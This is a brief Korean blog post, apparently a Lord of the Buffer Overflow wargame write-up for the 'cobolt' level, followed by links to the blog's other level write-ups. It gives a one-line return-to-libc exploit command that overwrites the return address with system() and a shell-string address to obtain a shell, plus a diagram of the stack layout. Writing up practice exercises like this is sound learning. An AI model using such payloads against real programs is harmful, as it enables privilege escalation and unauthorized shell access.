먼저 cobolt.c 코드를 봅시다
뭐야... 저번문제에서 buffer 크기만 달라졌습니다.
똑같은 RTL 방식으로 풀고 system 함수 주소, shell 주소 찾는 부분은 생략하겠습니다.
./cobolt `python -c 'print "A"*16 + "ABCD" + "\xe0\x8a\x05\x40" + "ABCD"+"\xf9\xbf\x0f\x40"'`
[buffer] [sfp] [system] [dummy] [shellcode]
클리어
'Pwnable > LOB' 카테고리의 다른 글
[Level5] orc -> wolfman (0) | 2017.05.17 |
---|---|
[Level4] goblin -> orc (0) | 2017.05.17 |
클리어! (0) | 2017.05.17 |
[Level3]cobolt -> goblin (2) | 2017.05.02 |
[Level1] gate -> gremlin (0) | 2017.05.02 |